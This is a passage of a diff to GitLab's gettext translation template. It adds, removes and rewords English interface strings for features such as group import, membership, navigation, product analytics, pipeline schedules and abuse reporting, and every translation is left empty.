msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
